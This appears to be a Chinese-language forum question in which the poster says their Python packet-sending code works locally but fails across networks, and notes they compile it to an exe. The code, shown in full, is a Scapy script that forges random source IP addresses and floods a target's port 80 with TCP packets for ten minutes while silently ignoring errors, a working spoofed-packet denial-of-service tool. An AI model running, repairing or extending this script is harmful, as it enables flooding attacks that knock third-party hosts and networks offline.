我正在尝试使用 Python 发送 TCP 数据包。如果我将它发送到自己的 f(我使用 Wireshark 来查看是否成功),它工作得非常好,但是如果我将它从另一个网络中的设备发送给我,它将无法正常工作。 (我编译成exe)。
try:
Count = 1
seconds=600
IPdst = ip
t_end = time.time() + seconds
while time.time() < t_end:
Count += 1
for x in range(1):
one=(random.randint(1,255))
for x in range(1):
two=(random.randint(1,255))
for x in range(1):
three=(random.randint(1,255))
for x in range(1):
four=(random.randint(1,255))
dot = "."
one=str(one)
two=str(two)
three=str(three)
four=str(four)
RndIP=(one+dot+two+dot+three+dot+four)
A = RndIP
B = IPdst
C = RandShort()
D = 80
payload = " "
spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / Raw(load = payload)
send(spoofed_packet,inter = .0, verbose = False)
except:
pass